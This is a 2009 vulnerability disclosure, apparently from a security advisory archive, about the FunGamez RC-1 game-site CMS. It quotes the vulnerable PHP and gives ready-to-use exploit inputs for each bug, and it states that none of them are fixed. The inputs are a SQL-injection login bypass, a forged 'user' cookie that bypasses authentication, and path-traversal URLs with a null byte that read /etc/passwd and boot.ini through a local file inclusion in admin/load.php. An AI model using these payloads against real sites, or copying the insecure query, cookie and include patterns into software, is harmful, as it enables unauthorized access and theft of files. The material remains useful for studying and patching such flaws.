Multiple Remote Vulnerabilities--SQLi-(INSECURE-COOKIE-HANDLING)-LFI-->

2009-04-20T00:00:00
ID SECURITYVULNS:DOC:21706
Type securityvulns
Reporter Securityvulns
Modified 2009-04-20T00:00:00

Description


MULTIPLE REMOTE VULNERABILITIES FunGamez-release candidate 1

CMS INFORMATION:

-->WEB: http://sourceforge.net/projects/fg-gsm/ -->DOWNLOAD: http://sourceforge.net/projects/fg-gsm/ -->DEMO: N/A -->CATEGORY: CMS / Portals -->DESCRIPTION: A game-site manager with fully customisable design, and easy game adding and I will build in more options to make the site fully customisable...

CMS VULNERABILITY:

-->TESTED ON: firefox 3 -->DORK: N/A -->CATEGORY: AUTH BYPASS/LFI -->AFFECT VERSION:RC-1 -->Discovered Bug date: 2009-04-20 -->Reported Bug date: 2009-04-20 -->Fixed bug date: Not fixed -->Info patch: Not fixed -->Author: YEnH4ckEr -->mail: y3nh4ck3r[at]gmail[dot]com -->WEB/BLOG: N/A -->COMMENT: A mi novia Marijose...hermano,cuсada, padres (y amigos xD) por su apoyo.

/////////////////////////////

AUTH BYPASS (LOGIN FORM)

/////////////////////////////


BUG FILES:

Path --> [HOME_PATH]/pages/login.php

It contents:

...

    $logindat = mysql_query("SELECT * FROM `fg_users` WHERE `username` = '".$uname."' and `password` = '".$upass."'");

...


EXPLOIT:

PEPE' OR 1=1 /*

Password:ANY

////////////////////////////////////////

AUTH BYPASS (INSECURE COOKIE HANDLING)

////////////////////////////////////////


BUG FILES:

Path --> [HOME_PATH]/includes/user.php

It contents:

...

function checklogin(){

    If ( $_SESSION['user'] == null )  {

            If ( $_COOKIE['user'] == null )   {          
                    return 0;       
            }         
            Else        
            {           
                    return $_COOKIE['user'];         
            }     
    }  
    Else      
    {        
    return $_SESSION['user'];      
    }

}

...

Path --> [HOME_PATH]/index.php

It contents:

...

If ( $page->requireslogin($name) && !$user->checklogin() ) { $name = 'login'; $_GET['newlogin'] = 1; }

...


EXPLOITS:

Add cookie:

1)user=1 path=/ (Insecure cookie)

2)user=pepe' or 1=1 /* path=/ (SQL injection)

///////////////////////////////

LOCAL FILE INCLUSION (LFI)

///////////////////////////////


CONDITIONS:

Need: Be admin user (above! :P)


BUG FILES:

Path --> [HOME_PATH]/admin/load.php

It contents:

...

If ( !isset($_GET['module']) ) $mod = 'start';

If ( isset($_GET['module']) ) $mod = $_GET['module'];

include('./admin/modules/'.$mod.'.php');


EXPLOITS:

1)http://[HOST]/FunGamez/index.php?admin&module=../../../../../../boot.ini%00

2)http://[HOST]/FunGamez/index.php?admin&module=../../../../../etc/passwd%00


ESPECIAL THANKS TO: JosS and every H4ck3r(all who do hack0wn)!




GREETZ TO: Str0ke and all spanish Hack3Rs community!


-------------------EOF---------------------------------->>>ENJOY IT!